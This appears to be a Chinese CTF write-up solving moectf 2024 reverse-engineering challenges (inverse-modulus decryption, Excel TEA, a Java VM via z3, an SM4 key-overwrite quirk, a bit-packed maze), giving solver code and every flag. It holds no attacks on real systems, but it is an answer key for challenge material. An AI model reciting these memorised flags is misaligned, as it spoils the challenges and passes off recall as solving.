我们使用Python的库pycryptodome3

>>> from Crypto.Util.number import *
>>> inverse(0xccffbbbb, 0xffffffff+1) 
2371998067

很容易就可以求得乘法逆元,注意的是要+1,是因为0xffffffff范围内还有0,而模数(第二个参数)取决于有限域的大小而不是最大值。
EXP

void flag_decryption()
{
        DWORD flag[12] = { 0xb5073388 , 0xf58ea46f , 0x8cd2d760 , 0x7fc56cda , 0x52bc07da , 0x29054b48 , 0x42d74750 , 0x11297e95 , 0x5cf2821b , 0x747970da , 0x64793c81, 0x00000000 };
        for (int i = 0; i < 11; i++)
        {
                *(flag + i) ^= 0xdeadbeef + 0xd3906;
                *(flag + i) -= 0xdeadc0de;
                *(flag + i) *= 2371998067; // 0xccffbbbb 的乘法逆元(在mod 0xffffffff+1下) Ref: https://zh.planetcalc.com/3311/
        }

        std::cout << (unsigned char*)flag << std::endl;

        // moectf{c5f44c32-cbb9-444e-aef4-c0fa7c7a6b7a}
}

moectf{c5f44c32-cbb9-444e-aef4-c0fa7c7a6b7a}

moedaily

题目实现了一个Excel表格,利用其中的Function功能实现了一个TEA加密。
在表单可以发现有s3cr3t,进去后可以看到满屏的计算过程
进行分析,发现是密码为 114514 1919810 415144 19883
偏移为114514的标准TEA加密,而且加密了两次。
回到第一页,找到判断条件

=IF(LEN(D11)=48,IF(AND(AND(AND(AND(AND(AND(H14=1397140385,I14=2386659843),AND(H15=962571399,I15=3942687964)),AND(H16=3691974192,I16=863943258)),AND(H17=216887638,I17=3212824238)),AND(H18=3802077983,I18=1839161422)),AND(H19=1288683919,I19=3222915626)),"恭喜你,拿到了真的FLAG","FLAG输入错了,再试试"),"flag长度不对")

可以得到结论

H14=1397140385,I14=2386659843
H15=962571399,I15=3942687964
H16=3691974192,I16=863943258
H17=216887638,I17=3212824238
H18=3802077983,I18=1839161422
H19=1288683919,I19=3222915626

带入TEA可以得到(注意程序进行了两次TEA加密)
moectf{3xC3l_1S_n0t_just_f0r_d41ly_w0rk_bu7_R3V}

moejvav

题目是在Java下的简单虚拟机(vm)逆向工程。
稍微分析一下,得到下面的结论

StepInstruction
0getByte
1xor store, p1
2add store, p1
3sub store, p1
4shl store, p1
5or store, p1
6check store, p1
7Exit

把VM的Insn进行排列

0 1 60 2 -20 6 -25
0 1 60 2 -20 6 -27
0 1 60 2 -20 6 -33
0 1 60 2 -20 6 -31
0 1 60 2 -20 6 -50
0 1 60 2 -20 6 -36
0 1 60 2 -20 6 -39
0 1 60 2 -20 6 -24
0 1 60 2 -20 6 -52
0 1 60 2 -20 6 -29
0 1 60 2 -20 6 -52
0 1 14 2 5 6 -64
0 1 14 2 5 6 -58
0 1 14 2 5 6 -63
0 1 14 2 5 6 -52
0 1 14 2 5 6 -90
0 1 14 2 5 6 -39
0 1 14 2 5 6 -43
0 1 14 2 5 6 26
0 1 14 2 5 6 25
0 1 14 2 5 6 -49
0 1 14 2 5 6 -64
0 1 10 2 5 6 -51
0 1 10 2 5 6 25
0 1 10 2 5 6 -45
0 1 10 2 5 6 -55
0 1 10 2 5 6 -47
0 1 10 2 5 6 24
0 1 10 2 5 6 -41
0 1 10 2 5 6 -60
0 1 10 2 5 6 22
0 1 10 2 5 6 -40
0 1 10 2 5 6 -60
0 2 14 2 10 6 -15
0 2 14 2 10 6 50
0 2 14 2 10 6 -51
0 2 14 2 10 6 -31
0 2 14 2 10 6 50
0 2 14 2 10 6 50
0 2 14 2 10 6 -35
0 2 14 2 10 6 50
0 2 14 2 10 6 -35
0 2 14 2 10 6 51
0 2 14 2 10 6 -17

这里我们使用Z3-Solver进行约束求解

from z3 import *
import copy
x = [BitVec(f"x{i}", 8) for i in range(44)]
y = copy.deepcopy(x)
for i in range(len(x)):
   x[i] ^= 0xca
   x[i] += 0x20

s = Solver()

ans1 = [-25,-27,-33,-31,-50,-36,-39,-24,-52,-29,-52]
for i in range(0, 11):
   s.add((x[i] ^ 60) - 20 == ans1[i]) 

ans2 = [-64,-58,-63,-52,-90,-39,-43,26,25,-49,-64]
for i in range(0, 11):
   s.add((x[11 + i] ^ 14) + 5 == ans2[i]) 

ans3 = [-51,25,-45,-55,-47,24,-41,-60,22,-40,-60]
for i in range(0, 11):
   s.add((x[22 + i] ^ 10) + 5 == ans3[i]) 

ans4 = [-15,50,-51,-31,50,50,-35,50,-35,51,-17]
for i in range(0, 11):
   s.add((x[33 + i] + 14) + 10 == ans4[i]) 

print(s.check())
m = s.model()
for i in y:
   print(chr(m[i].as_long()), end='') 
# sat
# moectf{jvav_eXcEpt10n_h4ndl3r_1s_s0_c00o0o1}

moectf{jvav_eXcEpt10n_h4ndl3r_1s_s0_c00o0o1}

sm4

题目头文件

#ifndef _SM4_H_
#define _SM4_H_
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define u8 unsigned char
#define u32 unsigned long

void four_uCh2uLong(u8 *in, u32 *out);             //四字节转换成u32

void uLong2four_uCh(u32 in, u8 *out);              //u32转换成四字节

unsigned long move(u32 data, int length);          //左移,保留丢弃位放置尾部

unsigned long func_key(u32 input);                 //先使用Sbox进行非线性变化,再将线性变换L置换为L'

unsigned long func_data(u32 input);                //先使用Sbox进行非线性变化,再进行线性变换L

void print_hex(u8 *data, int len);                 //无符号字符数组转16进制打印

void encode_fun(u8 len,u8 *key, u8 *input, u8 *output);   //加密函数

void decode_fun(u8 len,u8 *key, u8 *input, u8 *output);   //解密函数

/******************************定义系统参数FK的取值****************************************/
const u32 TBL_SYS_PARAMS[4] = {
        0xa3b1bac6,
        0x56aa3350,
        0x677d9197,
        0xb27022dc
};

/******************************定义固定参数CK的取值****************************************/
const u32 TBL_FIX_PARAMS[32] = {

    0x00070e15,0x1c232a31,0x383f464d,0x545b6269,
        0x70777e85,0x8c939aa1,0xa8afb6bd,0xc4cbd2d9,
        0xe0e7eef5,0xfc030a11,0x181f262d,0x343b4249,
        0x50575e65,0x6c737a81,0x888f969d,0xa4abb2b9,
        0xc0c7ced5,0xdce3eaf1,0xf8ff060d,0x141b2229,
        0x30373e45,0x4c535a61,0x686f767d,0x848b9299,
        0xa0a7aeb5,0xbcc3cad1,0xd8dfe6ed,0xf4fb0209,
        0x10171e25,0x2c333a41,0x484f565d,0x646b7279
};

/******************************SBox参数列表****************************************/
const u8 TBL_SBOX[256] = {

    0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05,
        0x2b,0x67,0x9a,0x76,0x2a,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99,
        0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62,
        0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6,
        0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8,
        0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35,
        0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87,
        0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e,
        0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1,
        0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3,
        0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f,
        0xd5,0xdb,0x37,0x45,0xde,0xfd,0x8e,0x2f,0x03,0xff,0x6a,0x72,0x6d,0x6c,0x5b,0x51,
        0x8d,0x1b,0xaf,0x92,0xbb,0xdd,0xbc,0x7f,0x11,0xd9,0x5c,0x41,0x1f,0x10,0x5a,0xd8,
        0x0a,0xc1,0x31,0x88,0xa5,0xcd,0x7b,0xbd,0x2d,0x74,0xd0,0x12,0xb8,0xe5,0xb4,0xb0,
        0x89,0x69,0x97,0x4a,0x0c,0x96,0x77,0x7e,0x65,0xb9,0xf1,0x09,0xc5,0x6e,0xc6,0x84,
        0x18,0xf0,0x7d,0xec,0x3a,0xdc,0x4d,0x20,0x79,0xee,0x5f,0x3e,0xd7,0xcb,0x39,0x48
};

#endif

主程序

#include "sm4.h"


//4字节无符号数组转无符号long型
void four_uCh2uLong(u8 *in, u32 *out)
{
        int i = 0;
        *out = 0;
        for (i = 0; i < 4; i++)
                *out = ((u32)in[i] << (24 - i * 8)) ^ *out;
}

//无符号long型转4字节无符号数组
void uLong2four_uCh(u32 in, u8 *out)
{
        int i = 0;
        //从32位unsigned long的高位开始取
        for (i = 0; i < 4; i++)
                *(out + i) = (u32)(in >> (24 - i * 8));
}

//左移,保留丢弃位放置尾部
u32 move(u32 data, int length)
{
        u32 result = 0;
        result = (data << length) ^ (data >> (32 - length));

        return result;
}

//秘钥处理函数,先使用Sbox进行非线性变化,再将线性变换L置换为L'
u32 func_key(u32 input)
{
        int i = 0;
        u32 ulTmp = 0;
        u8 ucIndexList[4] = { 0 };
        u8 ucSboxValueList[4] = { 0 };
        uLong2four_uCh(input, ucIndexList);
        for (i = 0; i < 4; i++)
        {
                ucSboxValueList[i] = TBL_SBOX[ucIndexList[i]];
        }
        four_uCh2uLong(ucSboxValueList, &ulTmp);
        ulTmp = ulTmp ^ move(ulTmp, 13) ^ move(ulTmp, 23);

        return ulTmp;
}

//加解密数据处理函数,先使用Sbox进行非线性变化,再进行线性变换L
u32 func_data(u32 input)
{
        int i = 0;
        u32 ulTmp = 0;
        u8 ucIndexList[4] = { 0 };
        u8 ucSboxValueList[4] = { 0 };
        uLong2four_uCh(input, ucIndexList);
        for (i = 0; i < 4; i++)
        {
                ucSboxValueList[i] = TBL_SBOX[ucIndexList[i]];
        }
        four_uCh2uLong(ucSboxValueList, &ulTmp);
        ulTmp = ulTmp ^ move(ulTmp, 2) ^ move(ulTmp, 10) ^ move(ulTmp, 18) ^ move(ulTmp, 24);

        return ulTmp;
}

//加密函数(可以加密任意长度数据,16字节为一次循环,不足部分补0凑齐16字节的整数倍)
//len:数据长度(任意长度数据) key:密钥(16字节) input:输入的原始数据 output:加密后输出数据
void encode_fun(u8 len,u8 *key, u8 *input, u8 *output)
{
        int i = 0,j=0; 
        u8 *p = (u8 *)malloc(50);      //定义一个50字节缓存区
        u32 ulKeyTmpList[4] = { 0 };   //存储密钥的u32数据
        u32 ulKeyList[36] = { 0 };     //用于密钥扩展算法与系统参数FK运算后的结果存储
        u32 ulDataList[36] = { 0 };    //用于存放加密数据

        /***************************开始生成子秘钥********************************************/
        four_uCh2uLong(key, &(ulKeyTmpList[0]));
        four_uCh2uLong(key + 4, &(ulKeyTmpList[1]));
        four_uCh2uLong(key + 8, &(ulKeyTmpList[2]));
        four_uCh2uLong(key + 12, &(ulKeyTmpList[3]));

        ulKeyList[0] = ulKeyTmpList[0] ^ TBL_SYS_PARAMS[0];
        ulKeyList[1] = ulKeyTmpList[1] ^ TBL_SYS_PARAMS[1];
        ulKeyList[2] = ulKeyTmpList[2] ^ TBL_SYS_PARAMS[2];
        ulKeyList[3] = ulKeyTmpList[3] ^ TBL_SYS_PARAMS[3];

        for (i = 0; i < 32; i++)             //32次循环迭代运算
        {
                //5-36为32个子秘钥
                ulKeyList[i + 4] = ulKeyList[i] ^ func_key(ulKeyList[i + 1] ^ ulKeyList[i + 2] ^ ulKeyList[i + 3] ^ TBL_FIX_PARAMS[i]);
        }
        /***********************************生成32轮32位长子秘钥结束**********************************/

        for (i = 0; i < len; i++)        //将输入数据存放在p缓存区
                *(p + i) = *(input + i);
        for (i = 0; i < 16-len % 16; i++)//将不足16位补0凑齐16的整数倍
                *(p + len + i) = 0;

        for (j = 0; j < len / 16 + ((len % 16) ? 1:0); j++)  //进行循环加密,并将加密后数据保存(可以看出此处是以16字节为一次加密,进行循环,即若16字节则进行一次,17字节补0至32字节后进行加密两次,以此类推)
        {
                /*开始处理加密数据*/
                four_uCh2uLong(p + 16 * j, &(ulDataList[0]));
                four_uCh2uLong(p + 16 * j + 4, &(ulDataList[1]));
                four_uCh2uLong(p + 16 * j + 8, &(ulDataList[2]));
                four_uCh2uLong(p + 16 * j + 12, &(ulDataList[3]));
                //加密
                for (i = 0; i < 32; i++)
                {
                        ulDataList[i + 4] = ulDataList[i] ^ func_data(ulDataList[i + 1] ^ ulDataList[i + 2] ^ ulDataList[i + 3] ^ ulKeyList[i + 4]);
                }
                /*将加密后数据输出*/
                uLong2four_uCh(ulDataList[35], output + 16 * j);
                uLong2four_uCh(ulDataList[34], output + 16 * j + 4);
                uLong2four_uCh(ulDataList[33], output + 16 * j + 8);
                uLong2four_uCh(ulDataList[32], output + 16 * j + 12);
        }
}

//解密函数(与加密函数基本一致,只是秘钥使用的顺序不同,即把钥匙反着用就是解密)
//len:数据长度 key:密钥 input:输入的加密后数据 output:输出的解密后数据
void decode_fun(u8 len,u8 *key, u8 *input, u8 *output)
{
        int i = 0,j=0;
        u32 ulKeyTmpList[4] = { 0 };//存储密钥的u32数据
        u32 ulKeyList[36] = { 0 };  //用于密钥扩展算法与系统参数FK运算后的结果存储
        u32 ulDataList[36] = { 0 }; //用于存放加密数据

        /*开始生成子秘钥*/
        four_uCh2uLong(key, &(ulKeyTmpList[0]));
        four_uCh2uLong(key + 4, &(ulKeyTmpList[1]));
        four_uCh2uLong(key + 8, &(ulKeyTmpList[2]));
        four_uCh2uLong(key + 12, &(ulKeyTmpList[3]));

        ulKeyList[0] = ulKeyTmpList[0] ^ TBL_SYS_PARAMS[0];
        ulKeyList[1] = ulKeyTmpList[1] ^ TBL_SYS_PARAMS[1];
        ulKeyList[2] = ulKeyTmpList[2] ^ TBL_SYS_PARAMS[2];
        ulKeyList[3] = ulKeyTmpList[3] ^ TBL_SYS_PARAMS[3];

        for (i = 0; i < 32; i++)             //32次循环迭代运算
        {
                //5-36为32个子秘钥
                ulKeyList[i + 4] = ulKeyList[i] ^ func_key(ulKeyList[i + 1] ^ ulKeyList[i + 2] ^ ulKeyList[i + 3] ^ TBL_FIX_PARAMS[i]);
        }
        /*生成32轮32位长子秘钥结束*/

        for (j = 0; j < len / 16; j++)  //进行循环加密,并将加密后数据保存
        {
                /*开始处理解密数据*/
                four_uCh2uLong(input + 16 * j, &(ulDataList[0]));
                four_uCh2uLong(input + 16 * j + 4, &(ulDataList[1]));
                four_uCh2uLong(input + 16 * j + 8, &(ulDataList[2]));
                four_uCh2uLong(input + 16 * j + 12, &(ulDataList[3]));

                //解密
                for (i = 0; i < 32; i++)
                {
                        ulDataList[i + 4] = ulDataList[i] ^ func_data(ulDataList[i + 1] ^ ulDataList[i + 2] ^ ulDataList[i + 3] ^ ulKeyList[35 - i]);//与加密唯一不同的就是轮密钥的使用顺序
                }
                /*将解密后数据输出*/
                uLong2four_uCh(ulDataList[35], output + 16 * j);
                uLong2four_uCh(ulDataList[34], output + 16 * j + 4);
                uLong2four_uCh(ulDataList[33], output + 16 * j + 8);
                uLong2four_uCh(ulDataList[32], output + 16 * j + 12);
        }
}

//无符号字符数组转16进制打印
void print_hex(u8 *data, int len)
{
        int i = 0;
        char alTmp[16] = { '0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f' };
        for (i = 0; i < len; i++)
        {
                printf("%c", alTmp[data[i] / 16]);
                printf("%c", alTmp[data[i] % 16]);
        putchar(' ');
        }
        putchar('\n');
}
/*在主函数中实现任意字节加密与解密,并且结果正确*/
int main(void)
{
        u8 i,len;
        u8 encode_Result[50] = { 0 };    //定义加密输出缓存区
        u8 decode_Result[50] = { 0 };    //定义解密输出缓存区
        u8 key[16] = { 0x74,0x68,0x65,0x6b,0x65,0x79,0x74,0x6f,0x73,0x6f,0x6d,0x65,0x74,0x68,0x69,0x6e };       //定义16字节的密钥
    /*u8 Data_plain[45]={0x6d,0x6f,0x65,0x63,0x74,0x66,
                             0x7b,0x43,0x6f,0x6e,0x67,0x72,
                                                 0x61,0x74,0x75,0x6c,0x61,0x74,
                                                 0x69,0x6f,0x6e,0x73,0x5f,0x79,
                                                 0x6f,0x75,0x5f,0x61,0x72,0x65,
                                                 0x5f,0x61,0x6e,0x5f,0x53,0x4d,
                                                 0x34,0x5f,0x6d,0x61,0x73,0x74,
                                                 0x65,0x72,0x21,0x21,0x21,0x7d};//moectf{Congratulations_you_are_an_SM4_master!!!}*/
        u8 Data_plain[48]={0};
        printf("please input your flag:\n");
        scanf("%s",Data_plain);
        len = 16 * (sizeof(Data_plain) / 16) + 16 * ((sizeof(Data_plain) % 16) ? 1 : 0);

        encode_fun(sizeof(Data_plain),key, Data_plain, encode_Result);            //数据加密
        //printf("加密后数据是:\n");
        //for (i = 0; i < len ; i++)
        //        printf("0x%x,", *(encode_Result + i));
        u8 enc[48]={0xad,0x6c,0xcd,0xc1,0x9,0xfc,0xdd,0xef,0x83,0xae,0x93,0x8,0x53,0x8e,0xc5,0x37,0x5c,0xdd,0x1b,0x4b,0x3,0x99,0x19,0xa2,0x69,0x24,0x96,0x42,0x77,0xc1,0x27,0x5f,0x2d,0xd4,0x5d,0xf5,0x2b,0xb0,0x32,0xf7,0xa5,0x97,0xc6,0x8a,0xee,0x48,0xae,0x93};                
        decode_fun(len,key, encode_Result, decode_Result);      //数据解密
        printf("解密后数据是:\n");
        for (i = 0; i < len; i++)
            printf("%x ", *(decode_Result + i)); 
        for(i=0;i<48;i++)
        {
                if(enc[i]!=*(encode_Result+i))
                {
                        printf("Wrong!");
                        exit(0);
                }
        }
        printf("Congratulations");
        system("pause");
        return 0;
}

是从网上找到的SM4加密实现,但是程序在输入的时候,使用了scanf并且当你输入正确的flag长度的时候,最后一个是0字符截断,他会覆盖下一个变量的首字节,刚好下一个变量是key,所以key的首字节变成了0,导致很多人解不出来,其实只要输入一个正确长度的flag就可以进行解密。
moectf{Congratulations_you_are_an_SM4_master!!!}

ezMAZE

题目使用了OI常用技巧——状态压缩来存储迷宫,使用二进制的1和0代表是否可以通过。
题目源码

#include <stdio.h>
#include <stdlib.h>
#include <memory.h>

char buf[1177] = { 0 };
unsigned char theMaze[56][10] = {
        0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
        0xbf,0xff,0xea,0xa8,0xa4,0x92,0x4f,0xff,0xff,0xff,
        0x80,0x00,0x3d,0x14,0x94,0x92,0xb8,0x00,0x00,0xff,
        0xff,0xff,0xbb,0xda,0x1f,0x29,0x7b,0xff,0xfe,0xff,
        0xc0,0x00,0x3b,0xda,0xdc,0x00,0x03,0x00,0x00,0xff,
        0xdf,0xff,0xfb,0xda,0xdd,0xff,0xff,0x7f,0xff,0xff,
        0xc0,0x00,0x3b,0xda,0xdc,0x00,0x03,0x00,0x00,0xff,
        0xff,0xff,0xb8,0x42,0x1f,0xff,0xfb,0xff,0xfe,0xff,
        0xc0,0x00,0x3f,0xff,0xfc,0x00,0x03,0x00,0x00,0xff,
        0xdf,0xff,0xf8,0x7c,0x3d,0xff,0xff,0x7f,0xff,0xff,
        0xc0,0x00,0x3b,0xfd,0xbc,0x00,0x03,0x00,0x3e,0x1f,
        0xff,0xff,0xb8,0x7c,0x7f,0xff,0xfb,0xff,0xbe,0xdf,
        0xff,0xff,0xbf,0x7d,0xbd,0x29,0x7b,0xff,0xbe,0xdf,
        0xff,0xff,0x98,0x7c,0x3f,0xff,0xfb,0xff,0xbe,0xdf,
        0x80,0x00,0x4f,0xff,0xf8,0x00,0x02,0x00,0x3e,0xdf,
        0xbf,0x7f,0x6f,0xff,0xfb,0xff,0xfe,0xff,0xfe,0xdf,
        0x96,0xab,0x60,0x00,0x08,0x00,0x02,0x01,0xfe,0xdf,
        0x96,0xab,0x7f,0xff,0xef,0xff,0xfb,0xfd,0xfe,0xdf,
        0x95,0x4b,0x70,0x00,0x0c,0x00,0x03,0x01,0xfe,0xdf,
        0x95,0x4b,0x77,0xff,0xfd,0xff,0xff,0x7f,0xfe,0xdf,
        0xaa,0x96,0x70,0x00,0x0c,0x00,0x03,0x00,0x06,0xdf,
        0x92,0x57,0x7f,0xff,0xef,0xff,0xfb,0xff,0xf6,0xdf,
        0x92,0x94,0x70,0x00,0x0c,0x00,0x03,0x00,0x06,0xdf,
        0x8a,0x4b,0x77,0xff,0xfd,0xff,0xff,0x7f,0xfe,0xdf,
        0xae,0xd5,0x70,0x00,0x0c,0x00,0x03,0x00,0x0e,0xdf,
        0x95,0x4a,0xff,0xff,0xef,0xff,0xfb,0xff,0xee,0xdf,
        0x8a,0x4a,0x4a,0x50,0xec,0x00,0x03,0xff,0xee,0xdf,
        0xbf,0x7f,0x7f,0xff,0xe1,0xff,0xff,0xff,0xee,0xdf,
        0xff,0xff,0xf5,0x5d,0x7f,0xff,0xff,0xff,0xee,0xdf,
        0x80,0x00,0x38,0xd5,0x35,0x2a,0x98,0x00,0x0e,0xdf,
        0xbf,0xff,0xbd,0x51,0x2f,0xff,0xfb,0xff,0xfe,0xdf,
        0xa0,0x00,0x3f,0xff,0xfc,0x00,0x03,0x00,0x00,0xdf,
        0xaf,0xff,0xff,0xc0,0x7d,0xff,0xff,0x7f,0xff,0xdf,
        0xa0,0x00,0x3f,0xdf,0x7c,0x00,0x03,0x00,0x00,0xdf,
        0xbf,0xff,0xbf,0xdf,0x7f,0xff,0xfb,0xff,0xfe,0xdf,
        0xa0,0x00,0x3f,0xdf,0x7c,0x00,0x03,0x00,0x00,0xdf,
        0xaf,0xff,0xff,0xdf,0x7d,0xff,0xff,0x7f,0xff,0xdf,
        0xa0,0x00,0x3f,0xdf,0x7c,0x00,0x03,0x00,0x00,0xdf,
        0xbf,0xff,0xbf,0xdf,0x7f,0xff,0xfb,0xff,0xfe,0xdf,
        0xbc,0x8b,0xbf,0xdf,0x7f,0xff,0xfb,0xff,0xfe,0xdf,
        0xa9,0x24,0x9f,0xdf,0x7f,0xff,0xfb,0xff,0xfe,0x5f,
        0xb2,0xa1,0xcf,0xdf,0x78,0x00,0x02,0x00,0x03,0x5f,
        0xb1,0x52,0xef,0xdf,0xfb,0xff,0xfe,0xff,0xfb,0x5f,
        0xaa,0x22,0xe0,0x00,0x08,0x00,0x02,0x01,0xf8,0x5f,
        0xbd,0x29,0xff,0xff,0xef,0xff,0xfb,0xfd,0xff,0xdf,
        0xb2,0x52,0xb0,0x00,0x0c,0x00,0x03,0x01,0xff,0xdf,
        0xb4,0x94,0xb7,0xff,0xfd,0xff,0xff,0x7f,0xff,0xdf,
        0xb2,0x4a,0xb0,0x00,0x0c,0x00,0x03,0x00,0x00,0xdf,
        0xb2,0x52,0x5f,0xff,0xef,0xff,0xfb,0xff,0xfe,0xdf,
        0xb2,0x54,0xd0,0x00,0x0c,0x00,0x03,0x00,0x00,0xdf,
        0xb2,0x52,0x57,0xff,0xfd,0xff,0xff,0x7f,0xff,0xdf,
        0xb2,0x91,0x30,0x00,0x00,0x00,0x0f,0x00,0x00,0xdf,
        0xb0,0x89,0x7f,0xff,0xff,0xff,0xf8,0x7f,0xfe,0xdf,
        0xbc,0x91,0x10,0xff,0xe0,0x00,0x03,0xff,0xfe,0xdf,
        0x80,0x00,0x00,0x00,0x0d,0xff,0xfe,0x94,0x8a,0x5f,
        0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
};

int checkForMaze(int x, int y)
{
        unsigned char val;
        // 1 means cannot pass.

        if (x > 10 * 8 || y > 56 || x < 1 || y < 1) return 1;
        val = theMaze[y - 1][(x - 1) / 8];
        theMaze[y - 1][(x - 1) / 8] = val | (1 << (7 - ((x - 1) % 8)));
        return ((val >> (7 - ((x - 1) % 8))) & 1);
}

char* calculateFlag(char* buf)
{
        unsigned long long sumOf;
        char* flag;
        flag = (char*)malloc(128);
        memcpy_s(flag, 40, "moectf{", 7);
        sumOf = 0;
        for (int i = 0; i < 1176; i++)
        {
                sumOf += (buf[i] * 3113131 * i + i * i + 0x114514) & 0xffffffffffffffff;
        }
        snprintf(flag + 7, 128 - 8, "the_%llu_amazing_maze!!}", sumOf);
        return flag;
}


int main()
{
        char* result;
        int x, y, i;
        printf("M0EC7F-2024 ezMaze\n");
        printf("ohno I'v stuck in a M4Z3... h3lp me (use w,a,s,d)\n");
        x = 2;
        y = 2;
        printf("please input the path sequence...\n");
        if (!scanf_s("%1177s", buf, 1177))
        {
                printf("input err.\n");
                return -1;
        }
        i = 0;
        while (1)
        {
                printf("\rx =%3d, y =%3d", x, y);
                if (x == 75 && y == 55)
                {
                        printf("\n%s\n", buf);
                        result = calculateFlag(buf);
                        printf("\nYOU WIN!!! the flag is %s\n", result);
                        free(result);
                        system("pause");
                        return 0;
                }
                if (!buf[i])
                {
                        printf("\nmission failed..\n");
                        return -1;
                }
                switch (buf[i++])
                {
                case 'w':
                        if (y > 1 && !checkForMaze(x, y - 1)) y -= 1;
                        else printf("You cannot walk the same path!!\n");
                        break;
                case 's':
                        if (y < 56 && !checkForMaze(x, y + 1)) y += 1;
                        else printf("You cannot walk the same path!!\n");
                        break;
                case 'a':
                        if (x > 1 && !checkForMaze(x - 1, y)) x -= 1;
                        else printf("You cannot walk the same path!!\n");
                        break;
                case 'd':
                        if (x < 10 * 8 && !checkForMaze(x + 1, y)) x += 1;
                        else printf("You cannot walk the same path!!\n");
                        break;
                default:
                        printf("you can only input w,a,s,d\n");
                        continue;
                }
        }
}

WP:
其一(抄出来,bfs):

using namespace std;


bool is_wall(int x, int y) {

uint8_t temp;


if (x > 80 || y > 56 || x < 1 || y < 1)
    return true;
temp = maze[10 * y - 10 + (x - 1) / 8];
maze[10 * y - 10 + (x - 1) / 8] = (1 << (7 - (x - 1) % 8)) | temp;
return ((int)temp >> (7 - (x - 1) % 8)) & 1;



}


string find_path(int begin_x, int begin_y, int end_x, int end_y) {

vector<pair<int, int>> dirs = {{0, -1}, {0, 1}, {-1, 0}, {1, 0}};

vector

<char> dir_chars = {'w', 's', 'a', 'd'};</char>




queue<tuple<int, int, string>> q;
set<pair<int, int>> visited;

q.push({begin_x, begin_y, ""});
visited.insert({begin_x, begin_y});

while (!q.empty()) {
    auto [x, y, path] = q.front();
    q.pop();

    if (x == end_x && y == end_y - 1) {
        return path;
    }
    
    for (int i = 0; i < dirs.size(); ++i) {
        int new_x = x + dirs[i].first;
        int new_y = y + dirs[i].second;

        if (!is_wall(new_x, new_y) && visited.find({new_x, new_y}) == visited.end()) {
            visited.insert({new_x, new_y});
            q.push({new_x, new_y, path + dir_chars[i]});
        }
    }
}

return nullptr;



}

因为那个函数其实就是判断(x,y)是否可通行,返回值也非常简单
其二(硬核爆破)

import subprocess

directions = ["w", "a", "s", "d"]

def move(path) -> str:
    result = subprocess.run(["echo", path, "|", "ezMaze.exe"], shell=True, capture_output=True, text=True)
    return result.stdout

def main() -> None:
    stack = [("", (2, 2))]
    visited = set()
    visited.add((2, 2))

    while stack:
        path, (x, y) = stack.pop()
        result = move(path)

        if "YOU WIN!!! the flag is" in result:
            print(path)
            return
        
        if "You cannot walk the same path!!" in result:
            continue

        for direction in directions:
            new_path = path + direction
            new_x, new_y = x, y

            if direction == "w":
                new_y -= 1
            elif direction == "a":
                new_x -= 1
            elif direction == "s":
                new_y += 1
            elif direction == "d":
                new_x += 1

            if (new_x, new_y) not in visited:
                visited.add((new_x, new_y))
                stack.append((new_path, (new_x, new_y)))

if __name__ == "__main__":
    main()

其三:
先用upx脱壳,本程序由于使用了x方向的状态压缩,把01的迷宫压缩成了一个数组,并且使用位运算进行读取。
所以把迷宫抄出来,用notepad++来显示路径,即可写出答案(或者使用bfs进行路径获取)

sddddddddddddddddssaaaaaaaaaaaaaaassdddddddddddddddssaaaaaaaaaaaaaaassdddddddddddddddsssdsdssddddddddddddddddssaaaaaaaaaaaaaaassdddddddddddddddssaaaaaaaaaaaaaaassdddddddddddddddsssdddwdddddddddddddddwwaaaaaaaaaaaaaaawwdddddddddddddddwwaaaaaaaaaaaaaaawwdddddddddddddddwwaaaaaaaaaaaaaaaawwddddddddddddddddwwwwaaaaaaaaaaaaaaawwdddddddddddddddwwaaaaaaaaaaaaaaawwdddddddddddddddwwddddddddddddddddddssaaaaaaaaaaaaaaassdddddddddddddddssaaaaaaaaaaaaaaassdddddddddssssaaaaaaaaaassdddddddssaaaaaassddddddddddddssaaaaaaaaaaaassdddddddddddsssssaaaaaaaaaaaaaassaaaaaaaaaaaaaaassdddddddddddddddssaaaaaaaaaaaaaaassdddddddddddddddssssaaaaaaaaaaaaaaaassddddddddddddddddssaaaaaaaaaaaaaaassdddddddddddddddssaaaaaaaaaaaaaaassaaaaaaaaaaaaaaaaaawwdddddddddddddddwwaaaaaaaaaaaaaaawwdddddddddddddddwwaaaaaaaaaaaaaaaawwawawwwaaaaaaaaaaaaaawwddddddddddddddwwaaaaaaaaaaaaaawwddddddddddddddwwaaaaaaaaaaaaaaaasssssssssssssssssssssssssddddddddddddddddddddddddddddddddddwddddddddddddddddddwdddwwwdddddddddddddddwwaaaaaaaaaaaaaaawwddddddwwaaaaaaawwddddddddddddddssdddwwwawwwaaaaaaaaaaaaaaawwdddddddddddddddwwaaaaaaaaaaaaaaawwdddddddddddddddwwwwwwwwwwwwwwwwwwwwwdddssssssssssssssssssssssssssssssssssssssssssss

路径是唯一解,因为不能往回走。(终点可以从程序里面拿到,是右下角最后一个0的位置)
moectf{the_18446744024826406994_amazing_maze!!}

Just-Run-It

